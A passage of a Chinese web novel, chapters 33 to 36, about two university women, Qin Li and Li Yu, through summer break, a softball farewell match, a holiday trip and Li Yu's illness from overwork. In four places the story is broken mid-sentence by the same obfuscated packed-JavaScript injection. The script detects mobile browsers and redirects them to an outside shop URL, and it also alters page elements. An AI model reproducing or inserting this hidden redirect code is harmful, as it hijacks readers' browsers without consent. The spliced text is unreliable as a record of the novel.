单智脸上也终于挂起丝笑容,说起自己的更多打算。事实上,她并不是心血来潮,已经考完所有应该考的试,也做好了学校专业相关的功课,下半年就开始递申请。 秦离为她惊人的行动力感到震撼,这是她过去所不知道的。在她印象中,单智还是中学那个内敛少言、成绩平平的人,没想到现在变化这么大。 再反观自己,秦离有些羞愧,考试都还没考出成绩,也没确定读什么专业,去哪所学校。 她和单智说着自己的情况、想法、迷茫的状态,单智给了她许多准备过程中的建议。秦离暗下决心,回去就开始好好准备,多查资料。 首先最重要的,就是考够雅思分数。 不过……想到黎羽,秦离又有些犹疑,现在还要继续准备留学吗? 但是不做这个,她又不知道未来干什么,索性不多想了,先准备着,等申请了再说吧。 沉重的话题之后,两人又聊起了近期看的小说和动漫类更为轻松的话题。 单智算是秦离看番的启蒙人,两人说起这个来就没得停,单智变得更健谈,秦离也说个不停,愈发兴奋。 这比说其他事情要快乐多了。 两人又一起逛了漫吧,秦离激情购买了一整套新的漫画、许多海报和各类周边小卡。 “我柜子里还有很多漫画,等我出去了,就都给你吧。”单智道。反正她不在,那些藏着的东西早晚被翻出来,让她妈当废品卖了。 “好呀好呀。”秦离早眼馋着了,不看放家里摆着也赏心悦目呢,“等我也出国了,到时候还可以来找你玩。” “好啊,那等你来。” 单智也很开心,两人就这样约定好了。 今天一天玩得很快乐,快乐到秦离都没怎么给黎羽发消息。晚上回去后,惯例的睡前通话中,秦离依旧叽叽喳喳着很亢奋,说着白天看到的动漫周边和她喜欢的番。 她又燃起了对二次元的热情,晚上已经翻着贴吧开始找搭子,准备出cos在南城参加漫展了。 嗯,补番也要安排起来了,这季新番还没看呢! 黎羽只是应着,没怎么说话,她的声音有些疲累。 说了不少话后,秦离才意识到黎羽的不对劲,停下讲自己的事,问道:“阿羽,你怎么了,情绪不好吗?” 黎羽勉力笑了笑:“没什么,就是工作上有些麻烦事,我远程又不好处理,有些烦躁。” “啊……”说起工作的事,秦离就无所适从了,“那我能帮你做什么吗?” “没事,我听你说说话就好……” 好吧,秦离有些气馁,但也知道自己应该确实帮不上什么忙。 她想着讲些其他什么事逗黎羽开心,转头拍了张床头的花瓶照给她看:“这是我今天新买的黑玫瑰,看着好冷艳好美的感觉!” 这花瓶正是两人在桃花源亲手做的那个。离开柳城的前一天,两人专门去取了成品,黎羽带走了秦离做的小的那个,将大的留给了她。 秦离将花瓶放在床头,每天睁眼都能看见。她天天都会带一支花回来,插在里面,每次看见就觉得心中满是柔情。 过了不久,黎羽也回复了一张照片,是那个胖胖的小花瓶。她依旧在里面插上一朵小雏菊,花瓣娇嫩,应该也是新换的。 秦离又开心了。 她说了很多话,很多好玩的事,觉得会让黎羽情绪好点的事。 她说了小姨和邱姨的爱情故事,对未来很乐观:“相爱的人可以一起生活下去,她们那样真好啊~” “确实……很好啊。”黎羽的声音里感慨居多。 “对呀对呀,而且我还跟小姨说过你呢,可惜她回安城了,你也不在南城,不然我们还可以见面一起吃饭~” 她心中设想很美好,也确实不觉得以后会有什么阻碍。 黎羽含糊应着,问了另外一件对方前面提过的事,秦离的注意力很快就被转移了。 暑假的最后半个月,秦离的生活没有自己一开始想象的那么难熬。她去了几次漫展,认识了不少同好,时间也被补番、试妆、做道具、和同好聊天给满满当当填起来了。 期间自然也是要看书备考的,但是总是看不了一两小时,注意力就跑远了。除了听线上课,勉强完成老师布置的作业外,她没做一点额外的功课。 到最后几天,黎羽那边也变得异常忙碌,情绪也时起时落。秦离问过几次,没有发现缘由,心中也有些焦躁,恨不得马上开学。 这是她第一次如此期盼收假。 去机场那天,妈妈也回来了,开车送她。在车上,见她哼着歌,难得表情轻快的样子,惊异道:“这次不黑着脸,一副痛苦得要死的样子了?” 之前每次开学,秦离都一脸不情愿,能磨蹭一会是一会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370163|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被妈妈看穿,秦离有些羞赧,哼哼掩饰道:“我现在已经变了,都大三啦,才没那么幼稚呢,回校还有好多事情要忙的。” 后排,爸爸笑着看了她一眼,没说话。 妈妈什么都没察觉,倒是很欣慰:“勺勺果然是长大了啊,确实,也该好好考虑未来了。对了,你的考试准备得怎么样了?” “哎呀,开学后才考试呢,等结果出来再跟你们说。” 问起这个,秦离不太耐烦了,妈妈见状不多说了。 上飞机前,秦离给黎羽去了消息,说预计什么时间到梦城,什么时候上地铁,什么时候回云林。 黎羽比秦离早两天回梦城,但并不在学校那边。今天知道秦离要回来,她特意赶了回去。秦离想,如果没有特殊情况的话,她大概就在店里了吧。 秦离到大学城时已经天黑了。 时隔两个月,再次走在熟悉的清河路,秦离有种恍如隔世的感觉。和黎羽在一起的心情,又朦朦胧胧,好像一场梦。 行李箱被拖得哐当直响,秦离望向前方那个弯,转过去后就是通往一期侧门的小路。 走在已经走过无数遍的街道上,秦离神情恍惚。想到四个多月前,也是这样带着闷热气息的夜晚,她便是如此猝不及防地撞见黎羽,对她一见倾心。 转弯后,她情不自禁望向了那盏昏黄的路灯,竟然真的看见了心中想念的那道身影。 “阿羽……” 秦离喃喃着,呆在原地。 黎羽是掐着时间在这里等着的。 从下飞机起,秦离全程都在报备她到哪里了,黎羽想不卡着点出来都难。 黎羽今天难得穿了件白色T恤,胸前挂了条细长的银链,插兜站着,整个人显得很清爽。 她很远就看见秦离了,走过来帮她拉过行李箱,小声唤着:“小乖。” “阿羽……”秦离还有些呆,随即突然扑在黎羽身上,在她怀里乱蹭,“我好想你啊~” 今天正是返校季,清河路上学生不少,宿舍外也有很多人出来游荡觅食。大家都望向这边,眼神好奇,更多目光落在了黎羽身上,带了点兴奋的窃窃私语。 熟悉的环境,黎羽更感到羞赧。她拉了拉秦离的衣衫,示意她先松开:“周围都有人呢。” 秦离哪是在意这个的人,就算是全世界的人都看过来,她也不介意展示她和黎羽的亲密。 黎羽不习惯。 她拉着秦离的手腕进了店。 店里,何章远和何旭都在,看向她们的眼神有些吃惊,但还没来得及说什么,黎羽就带秦离上了二楼,避开所有人的视线。 秦离察觉到她的躲避意味,闷着有点不开心。但黎羽亲了亲她的脸颊,温声说着想她时,她心里又没那么闷了。 哎,她知道,黎羽不是个喜欢在外面秀恩爱的人,不像她自己,恨不得告诉遇见的每个人,她和黎羽是恋人。 “还要亲。” 又一个亲亲落在了额头,落在了唇上,落在了…… 秦离的心情好起来了。 34. Chapter 34 开学后,两人都忙起来了。 秦离的专业课和剩余的选修课满满当当塞了三天半,黎羽则是大把的时间花在了公司,早出晚归,有时候白天忙完就会提前回来,有时候太晚就不回来了。因此,除了上课外,秦离大多时间都呆在店里,人多的时候帮忙干活,人少的时候就刷题。如果黎羽那晚回来,她便也不回宿舍,和她一起睡在二楼的小房间里。 她将花瓶也带了过来,放在房里的桌子上,仍然每天换一枝花,看着仿佛这个狭小的空间也变得温馨起来。 秦离有意无意跟身边所有认识的人都说了自己和黎羽谈恋爱的事。李清韵对此直呼好家伙,说有机会一起吃个饭。但黎羽太忙了,李清韵也不清闲,总难找到大家都有空的时候,秦离也不愿意为了这事特意打乱黎羽的安排,于是作罢。 这几天,黎羽难得呆在学校这边不走,处理垒球社最后的事。 她和李凌菲都已经大四了,没有时间打垒球,更没有精力带社团了,她们要把担子交给下一任队长和副队。 队里大家都很舍不得她们,最后商量着跟L大打一次交流赛,也是两人离开前参加的最后一次比赛了。 比赛时间定在了这周六下午,就在E大的球场。九月下旬,梦城的天依旧很闷热,太阳看着温温和和的,温度却不低。 黎羽换上了许久未穿的白色球服,站在球场旁等候着,无意识将球扔进手套里,又取出来,反复着。她头发有些长了,还没来得及剪,在后脑勺上扎起个小揪,较短的碎发落在前额,衬得眉目愈发俊朗。 秦离简直被她这套打扮给迷死了,在旁边目不转睛盯着,眼神痴迷。 队里大家都知道她和黎羽在一起的事了,最诧异的反倒是李凌菲,对秦离竖大拇指:“小学妹,厉害啊!一个暑假不见,都能把小羽这头倔驴给拿下了。” 黎羽不喜欢她这种说法,皱着眉。 都是老友了,李凌菲哪能猜不到她心里在想什么,故意打趣道:“是不喜欢我这么说你,还是不喜欢我这么叫小学妹啊?你觉得呢,小学妹。” 黎羽的眉头皱得更明显了。 咦,黎羽原来也会吃醋的吗? 秦离的眼睛亮了。 不同于秦离心中有八十分感情,便要表现出一百分,黎羽恐怕是那种心中即使有八十分,也只会表现出五十分的人。只有两人单独相处时,黎羽才会稍微直白表达内心的想法,在外面,她总是克制的。 秦离好奇地望向黎羽,所有人的目光都聚了过来。 黎羽被看得恼羞成怒了,呵斥大家:“都还呆在这里做什么,上场了!” 副队余威仍在,队员们乖乖行动,李凌菲发出啧啧声,朝秦离挤眉弄眼一番后,才跟在队伍最后跑了上去。 秦离确定了猜测,心中欢喜。 多日未训练的黎羽,扔出来的球依旧是快速有力,连笑容都比平日要更多更明显。 秦离喜欢赛场上的黎羽。她平时似乎总是有太多愁绪,能像现在这样没有任何顾虑,笑得毫无阴霾的时候少之又少。 看着看着,秦离觉得背上有些发痒,火辣辣的痛。 她今天穿了件黑色偏紧身的连衣裙,到膝上,背上是深V的蕾丝布料,遮不住灼热的阳光。 秦离只觉得这件新买的裙子很好看,今天选了它,没有在背上涂防晒霜,哪知道九月底的太阳还能这么毒,将人晒伤。 一局结束,黎羽下场就看见秦离面色不佳。 “怎么了?” “背上好像被晒伤了……” 球场一览无遗,四周没有遮蔽物,只有很远的地方才有树荫和建筑物。 秦离不愿意离开,黎羽从包里取出她今天穿的衬衫,披在她身上。一瞬间,秦离觉得草木的清香好像缓和了她背上的烫意。 “先忍耐下,等我结束。” 秦离乖巧点头,将衬衫拢得更紧了,又嗅了嗅。 再上场,黎羽的攻势变猛了。 ……这不是友谊赛吗…… 队友和对手都怀疑人生,但随即也被感染,打得激情起来,跟打高校联赛似的。 最后,E大以大比分优势,漂亮地赢下比赛,队员欢呼。 “好耶,走,吃庆功宴咯。” “走走走,都一起。” 说是庆功宴,大家心里都清楚,这是给黎羽和李凌菲退队的散伙饭。 L大众人跟E大这边关系都不错,也叫着一道了。 “你们先吃,我等下过来。”黎羽带着秦离准备先走,她还念着她背上的晒伤。 “诶?” 大家兴致正高,秦离觉得身上的难受感也不是不能忍受,小声道:“我还好啦。” 黎羽坚持,于是众人发了吃饭地址给她,慢悠悠往那边走,等她们晚点过来。 路上,黎羽买了烫伤膏。 这个点正是吃饭的时候,店里忙得不可开交,二楼也人满为患。 秦离提议:“要不到我宿舍吧。” 今天寝室刚好没人在,不过就算是有人也没什么。室友们已经习惯了秦离总是带各种朋友回来了。 黎羽没意见。 一期宿舍都是一层两户,进去三室一厅和一个大的洗漱卫生间,每个房间住四个人,上床下桌,带阳台,客厅带一个阳台,空间很足。 除了没有空调,夏天被热成傻子外,什么都好。 秦离的位置靠窗,不用说,黎羽也能认出来,桌上摆满了动漫手办。 秦离先爬上床,脱掉连衣裙,乖巧趴下。黎羽洗了手,带着药膏也上了楼梯,掀开白色的蚊帐,看见她赤/裸的身体,只穿着内衣。 她身上有一点肉感,皮肤很白,背上被晒出了一点V型的红色印记,看着有点滑稽,打破了刚才朦胧的旖旎。 秦离无声笑了笑。 半天没等到动静,秦离询问,声音因为趴着而显得闷闷的:“阿羽?” “会有点凉。”黎羽手指沾了点药膏,涂在发红的地方,冰凉的触感让秦离身体生理性微微颤动。 黎羽指尖微凉,手心却很热。她涂完药,用掌心轻轻揉着,让药效散开。 上药结束,秦离依旧乖乖趴着没动。 这姿势很熟悉,黎羽也曾在那个漆黑的夜晚里见过。 她忍不住伸出另一只手,轻触秦离的后颈,然后低头,在上面落在一吻。 这下,秦离的身体颤得更厉害了。她有些欲/望,但忍住了:“大家还在等我们吃饭呢。”这会可没有时间欢愉。 黎羽情之所至,但没打算这个时候做,揉了揉秦离的脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370164|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋,笑道:“好了,走吧,你记得换件宽松的T恤。” 这下,倒是秦离有些失望了。 秦离换了件衣服,引来众人揶揄的眼神。李凌菲带着“你小子”的感叹盯着黎羽,黎羽懒得理她。 一顿饭满室皆欢。酒开了一瓶又一瓶,有人哭了。 队员们闹着,即使黎羽和李凌菲离队了也要经常回来看她们训练比赛,以后的以后就算毕业了,也不能和她们断了联系。 两人都应下了,但也都明白,在未来漫长的人生里,此刻就是她们最后最亲近的时刻了。 酒足饭饱,秦离和黎羽依旧单独行动,众人也不去打扰这对小情侣。 两人又去校内的河边散步了。 这次,没有上回的惶惶不安,只有十指紧扣,满心的甜蜜。 秦离今晚也喝了不少酒,醉意上头,唱歌的声音也越来越大。 “阿羽,我……我给你放我最——喜欢的歌手的歌!” 今晚天空一片漆黑,月亮和星星都被厚厚的云层遮住了,但黎羽仍能看见星光,洒满秦离的眼眸,明亮荡漾。 “嗯,放吧。”黎羽依着她,又问,“背上感觉怎么样,还痛吗?” “背……背?什么背?我背怎么啦?” 看秦离迷迷糊糊,一点没意识到她在说什么,黎羽无奈,又松了口气。 看来应该是不痛了。 秦离还执着放歌呢,点了半天才点进软件里正确的位置,用不标准的普通话唱着歌的女声从听筒里传出。 “我们回到美丽 温柔的南方 我亲你一口 你就笑了”① 又走到了望月湖,湖水墨绿幽深,银白色的秋千椅随风轻轻晃着。 “我不是有意让你 这样伤心的 只是有些 不知所措”① 两人坐在秋千椅上,铁质的长索嘎吱响着。秦离靠在黎羽怀里,闭着眼睛不安分地动着,嘴里跟着音乐一起哼唱。 “我是混世小魔王 其实也有点害羞 再不相爱 我们 就老了”① 黎羽用手指梳着她的长发,秋千椅缓缓摇晃着。 慢慢的,秦离的声音越来越小,手也开始往下坠。黎羽眼疾手快,接住要掉到地上的手机,又扶住秦离的头,调整姿势,不让她从肩上滑下去。 秦离的嘴微张,鼻腔里带着一丝丝抽动的声音,有热气呼在了黎羽的脖子上。黎羽忍住痒意没动。 消息声响起,黎羽及时关掉声音,退出到主界面时,看见了屏幕上的合照。 那是在朔城的时候自拍的,背后是山山水水,黎羽搂着秦离,她记得好像是秦离说了什么有趣的事,两人笑着,笑得很肆意。 黎羽戳戳屏幕,觉得这笑容有些傻,但秦离很喜欢,非要设成壁纸。 黎羽没意识到,现在她的表情跟照片上的有点像。 她在手机上多按了几下,又画了什么东西,才熄掉屏幕。 有些忧郁的民谣歌继续放着,黎羽抬头看着天空,头靠在秦离头上,紧紧依偎。 “我用一生去歌唱 只要有你在身旁 若是快乐就在 一起吧”① 35. Chapter 35 很快就到国庆了。 秦离本想和黎羽再出去旅游。她很喜欢暑假时两个人一起游玩的感觉,但黎羽抽不出大块的时间,只能作罢。 恰巧单智问秦离要不要来石城找她,然后她们一起去周围城市玩都很方便。单智目前还在那里的大学读书,上次见面后,秦离和她又重新恢复联系。 秦离有些犹豫。毕竟难得的假期,她还是想跟黎羽呆在一起,就算没有整天,只有小半天也好啊。 黎羽不想她这样,说自己国庆有个大项目要跟,估计不怎么回学校,秦离这才答应单智去了。 出去玩,秦离想穿点好看的衣服,黎羽便陪她去爱琴海逛逛。 爱琴海的衣服自然比不上市区里的高级商场,但对学生来说也足够了。 秦离挑挑选选,没看到满意的,倒是黎羽看见条杏色的连衣裙,带一点泡泡袖。她觉得很适合秦离,穿上会很可爱。 秦离看见她选的,欲言又止。 ……泡泡袖啊……会很显壮…… 黎羽还在问她:“这件怎么样?春秋季搭个小西装也很好看呢。”说着她拿过旁边另外一件修身的黑色小西装,比给秦离看。 秦离试了下,连衣裙的袖口和小西装的腰身都有点紧,但她不好意思再换更大一码,觉得勉强也能穿的下。 最后,她还是都买下了,黎羽想要付钱,她没让。 至于尺寸,等她再减减肥,应该也差不多吧。 为省钱,机票买在了放假前一天。又一次的分离,秦离很不舍,出发前一晚上,扭着黎羽在床上折腾了很久才睡,第二天整个人都晕晕乎乎的。 “那我走了哦。” 飞机是早上十点半,秦离七点不到就得从大学城出发,就这样,时间还比较紧凑呢。 留意她将东西都带好了,黎羽道:“到了给我发消息。” “好哦,有什么好看好玩的我都发给你看~” “好。^_^” 送走秦离,黎羽又回店里了。 公司目前并没有大项目要做,但她也确实抽不出几天时间陪秦离。没有大项目,还有许多麻烦事,除了实力,繁琐的关系网、争取潜在客户、意想不到的同行竞争…… 即使她已有心理准备,还是被残酷的社会现实打击到不行。 她并不想让工作上的戾气影响到秦离,想着她出去玩玩也好,自己也趁着今天歇一歇,明天又要去奔波了。 唉…… 中午客流高峰期后,黎羽正在店里帮着算账呢,看见秦离拖着箱子出现了。 黎羽诧异:“怎么回来了?” “……我跑错机场了。” 梦城共有两个机场,一个在最东边,一个在西边。云林大学城在偏西南的位置,离西边机场更近,平时大家一般也都买西边机场的票。 这次不知怎么的,秦离买岔了,买到东边机场去了。她还是按习惯去了西边机场,出票安检那里老没弄出来,最后工作人员过来委婉提示,是不是走错机场了? 秦离再看订票信息,晴天霹雳。她确实是订错了,但已经来不及赶去东边机场,今天又没有相同航空公司的票可以改签,只能含泪改到明天上午,还多加了七百块钱。 然后,她就只能拖着箱子先回来了。 看秦离一脸郁闷的样子,黎羽笑着拍了拍她的头:“别气啦,明天去也行。” “嗯……”秦离就是心疼那七百块钱。她走到柜台后面,跨坐在黎羽身上,头埋在她的肩窝里,黏人得很。 柜台挡住了大半视野,黎羽便也环抱着她,安慰道:“下午一起打麻将吧。” “咦?”说起打麻将,秦离又精神了,“你会打麻将的呀?今天不用去公司吗?” “嗯,就店里几个人打着玩。今天不过去,明天开始忙。” 于是,秦离又开心了。 今天太阳也很好,暖洋洋的,连风吹着也很舒服。 麻将台就搭在店外面的河边。秦离和黎羽一家,剩下三方是何章远、厨师和清洁大姐。平日里大家也有些交流,不算陌生。 打的还是川麻。 有秦离主导战场,加上今天手气不错,直接大杀四方。她们就打一块钱,三番封顶,输赢也不过几十块钱,撑死上百。但赢牌还是爽啊,秦离一铲三,眉梢都扬着喜气。 “可以啊秦离,”何章远夸她,“看不出来打牌这么利索。” 秦离听了更是喜滋滋的。她见黎羽一直在旁边看着,担心她无聊,让她换上来打。黎羽打不打其实都无所谓,看她开心,便让她继续。 “你多赢点,晚上我们去吃大餐。” “好耶^0^” 最后,秦离怒赢一百多块,可以和黎羽去三期吃小火锅了。 期间还发生了件小插曲。 她们打的正热闹时,有个黑人女孩路过,在旁边看热闹。 清河路上一直能看见黑人,应该是大学城这边的高校留学生,不过秦离跟她们没什么接触。 小何老板倒是挺乐的,还主动和她搭话,问她是哪里人。 秦离担心她听不懂中文,又或者说出啥非洲什么不知名的小地方,显得尴尬。但出乎意料,黑人女孩字正腔圆答道:“我啊?我黑城的。” 一口东北口音。 “……” 沉默片刻后,众人都笑了,空气欢快地流动。 晚上,秦离和黎羽在三期吃了旋转小火锅,重辣口味,用的镇店之宝级别的辣椒。 回去后,两人老实了,乖乖睡觉。第二天,黎羽跟秦离一同出门,一人去机场,一人去公司。 这次,秦离好好确认了,是西边机场没错。 到石城,已经是下午了。 单智到机场来接她,直接带她去了学校那边。她和室友关系不好,就在外面租了个小房子,秦离来了倒是很方便。 不过才呆了一天,秦离就受不了了。 不同于夜生活丰富的南方城市,石城虽说是省会城市,但娱乐活动是过分单一。而且最最痛苦的一点,就是它饭点之外,除了肯德基麦当劳之类的快餐,找不到任何吃饭的地方。 这对恩格尔系数很高的秦离来说,可谓是天大的打击。毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370165|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南城可是二十四小时随时都能找到吃的啊。 于是,两人商量着,决定往东去隔壁省的泉城。 泉城有很多名胜古迹,还有某古代著名女诗人的纪念馆,秦离没去过,都很感兴趣。 这是她第一次和朋友一起旅游,看什么玩什么都很稀奇,晚上两人可以挂着动漫聊到半夜。 真快乐啊~ 秦离感慨着,也不忘过程中将所有风景,吃的喝的,看到想到的所有东西都发给黎羽。 黎羽看见了就会回复她,但或许是工作太忙的原因,总是回得很简短,也没时间打电话。 当然,秦离的时间也被塞得很满,也没顾得上打。 离假期结束还有两天,秦离玩得意犹未尽,感慨以前怎么没想着约朋友一起出来玩呢。 她还想去国外玩,但总觉得准备难度太大了,什么申请签证、账户资金流水、材料准备,还有语言问题。 最后念头灭在心底,不了了之。 她把机票买在了国庆的最后一天,但还没等到那个时候,便匆忙改签,提前一天回去了。 秦离是在晚上的时候接到陈玲嘉的消息的。通过黎羽认识之后,她们会时不时聊点天。 【学妹,你什么时候回来啊?】 【怎么了?】 对面有一阵子没回消息。 陈玲嘉这话来得突然,秦离有点不安。她拨了个电话过去,过了会电话被接通了。陈玲嘉声音很小,有风声,她好像站在外面,远处还有隐隐约约吵架的声音。 “学妹。” “学姐,我看你没回消息,发生什么事了吗?” “是……”,陈玲嘉吞吞吐吐,“是小羽生病了,发高烧。” “!!!” 秦离的心抽紧,问题连番冒出:“她还好吗,烧到多少度,有没有去医院?” “39.5度。她打死不去医院,只能在宿舍歇着,刚吃了退烧药。她本来不让我跟你说的,说你和朋友在外面旅游,但我看她都烧迷糊了,而且…… 秦离急得不行:“她都生病了,我还有什么心情旅游。等下我看看机票……” 她翻着界面,发现今晚已经没有票了,订了明早第一班飞机。 “我明天一早回来,学姐,麻烦你先照顾阿羽……” 对面声音越来越吵,有好几个人的声音,秦离问道:“你那边怎么了?” 陈玲嘉语气不佳:“宿舍里另外两个人刚好回来撞见了,非赶着这个时候来找事……不行,我先进去了,今晚我在,但明天我得去实习公司那边……” 秦离没见过黎羽的两个奇葩室友,但听陈玲嘉说过,很讨厌她们。 她心疼黎羽,想着她这会生病无力又被人欺负,难受得不行。 她和陈玲嘉打商量:“学姐,你看能不能晚一点去?我一下飞机就飞奔回来,等我回来就好。” 陈玲嘉也是担心黎羽,才联系秦离的,自然同意。 这晚,秦离以为自己会急得难以入睡,但超绝睡眠还是让她轻松进入梦乡。 凌晨三点,她醒了。 36. Chapter 36 秦离跟单智匆忙道别后,改签的早上六点的飞机,七点半到梦城。她下飞机打车,一路狂奔,赶到宿舍时才八点半。 宿舍里只有黎羽和陈玲嘉。 陈玲嘉已经做好出门准备了,看见秦离,长舒口气:“你来了我就放心了,药都在这里,如果今天烧还不退,你还是劝小羽去医院吧。” 秦离点头。她先爬上梯子去看黎羽。 黎羽睡着了,但睡得并不踏实,眉头紧皱,脸有些红,身体不时微微抽动。 秦离摸了摸她的脸和额头,仍有些烫,又换上新的退烧贴。 她不愿吵醒她,悄悄又下去了,小声问陈玲嘉:“怎么回事啊,阿羽怎么突然发烧了?” 陈玲嘉叹气,这才解释着。原来从秦离走那天起,黎羽就忙起来了,基本都在公司那边没回来,好像确实是争取到了个项目,但是甲方特别难搞,业务上、饭桌上各种要求讲究。这几天黎羽基本是通宵达旦干活,还要应付时不时的酒局,大概是身体劳累加上压力过大,所以发烧了。 昨天回来的时候,黎羽还硬撑着呢,还是陈玲嘉发现不对,及时将她扶到上铺去,又买了药。 黎羽死活不愿去医院,也不肯让陈玲嘉跟秦离讲,说歇一歇就好,第二天还要去公司。 偏偏这时候宿舍其他两个人也回来了。她们本来就跟黎羽不对付,更是趁着这个时候冷嘲热讽。黎羽刺了她们几句,但实在没有力气,又倒下了,更是激得两人连番说了许多难听的话。 昨晚电话里,秦离隐约听到的就是她们的声音。 哎…… 陈玲嘉也急:“小羽也太倔了,这时候就该看医生好好休息,什么也比不过身体重要啊。” 秦离心中有些酸涩。陈玲嘉说的黎羽工作这些事她都不知道,她从没给自己说过。想到自己在外面吃喝玩乐的时候,秦离加班加点工作,如此辛苦,还要抽空回复自己的大量信息,甚至连生病了都没打算告诉自己,她就觉得难受。 为什么……为什么不跟她说啊…… 她抽了抽鼻子,应下:“我知道了,等她醒来,我再陪她去看医生吧。” “好呢,”陈玲嘉总算放下心,拎着包准备出发了,“最近大家都忙,都不在学校这边,她这样子也不方便去店里……还好有你在……那我先走啦。” “嗯,学姐再见。” “拜。” 房门关上,室内恢复了安静。 秦离坐在黎羽的椅子上,看着她几乎没摆什么东西的桌面发呆。书桌的一角被撞掉了些,露出里面的浅色木质,上面有个小圆斑。 她盯着那个圆斑,视线开始虚化,眼神放空。 她浑身都很别扭,像是蚂蚁钻心般的痒,又找不到症结在哪里。 她就是觉得不舒服,每一处都不对劲,说不出,但就是觉得…… ……不应该是这样的…… 这时,头顶之上,黎羽突然剧烈地咳了起来,翻身带动着床铺响动。 “小羽……!” 秦离激动地站起来,头碰到床底,发出砰的一声。 “谁……” 黎羽的声音嘶哑。 “小羽……” 秦离声音大了些,探出个头。 “小乖啊……”黎羽说两句就又咳下,她坐起来,退烧贴滑落,“你怎么赶回来了?” 秦离眼眶微红:“你生病都这么厉害了,我怎么能不回来?” “别哭。”黎羽见状,想下床来,被秦离制止。黎羽被她强势要求着又无奈躺下,咳意反倒淡了些:“没关系,只是发烧而已,吃了药,等烧过就好,以前……” 她本想说,以前身上更严重的伤都没事,但看秦离眼眶红得厉害,直觉把话咽下去了。 “怎么会没事……”秦离用手背擦了擦眼泪,“得去医院看医生才行。” 可能是生病了,黎羽的情绪流露在表面,难得有点孩子气:“我……不想去医院,不想看医生。” 但秦离更坚持,一言不合就要哭给她看。她着急黎羽的身体,又自责自己的疏忽,黎羽也犟不过她,最后还是去看了医生,只不过不是医院,而是清河路上的诊所。 医生说要打吊针,黎羽又有些应激。这会,秦离情绪已经好些了,难得是她对着黎羽好哄慢哄,黎羽才应下来了。 这种感觉有些新奇,秦离觉得有种特别的满足感。平日里两人之间,总是黎羽照顾她多一点,但她也喜欢这种照顾黎羽,被她依赖的感觉。 在秦离的强烈要求下,黎羽跟合伙的朋友商量,这几天先不去公司了。那边朋友也很关心她,让她好好休息,公司还有她们在,不差这几天。 听上去是个挺好的人。 黎羽打电话时,秦离就在她旁边。她对黎羽的合伙人产生好奇,问道是什么样的人。黎羽说是学校的学姐学长,机缘巧合下认识的,创业方面还算合拍,但私下关系并不算太熟,也不会在公司事宜之外一起娱乐活动。 秦离从未有过这样纯合作的关系,觉得很神奇。在她心目中,创业是件很高大上的事,虽然黎羽总说她们不过是市场上的小虾米,秦离还是觉得她好厉害。 她提出有机会想去她们公司看看,黎羽一开始有点支吾,最后还是同意了。 但都不是现在,一切都要等黎羽身体好了再说。 店里太吵,环境也不好,这几天黎羽就一直在宿舍休息。有课的时候秦离就会去上课,回来的时候给黎羽带饭,休息时间也呆在这里。 秦离本来想晚上也住在这里,但宿舍床小,她深知自己睡相不好,怕抢被子让黎羽病情加重。黎羽也不想传染她,因此她晚上仍然回去,第二天第大早再过来。 活了十九年,她从未如此早起奔波过。 也亏得黎羽这栋宿舍楼的一楼门禁是坏的,门总是一拉就开,方便她进入。这还是同住在这栋楼的庆姐告诉她的。 庆姐跟黎羽、陈玲嘉是一个专业的。财管专业人多,她们并不认识,但黎羽很出名,庆姐听说过她。知道秦离和黎羽在一起了,庆姐曾在南城老乡的又一次聚会里,隐晦提醒过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370166|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎羽的风评并不太好。 秦离差点没跟她大吵一架,还是郭平从中协调才熄火。但后来的聚会,秦离没再搭理过她。 秦离觉得,一定是黎羽的那两个室友在传谣。 虽然黎羽不愿意多提,但秦离听陈玲嘉说过几句,那两人从刚来就看黎羽不顺眼,觉得她傲得很,喜欢女生更是个变态,因此明里暗里排挤她,经常做点小动作恶心人。 陈玲嘉倒是更偏黎羽些,但她性子比较软,也做不出太多反击的事。 对方行为言语越来越过分,黎羽也时不时回敬几句,接着就是她们报告给了学校,说黎羽在宿舍霸凌,还造了各种谣言。 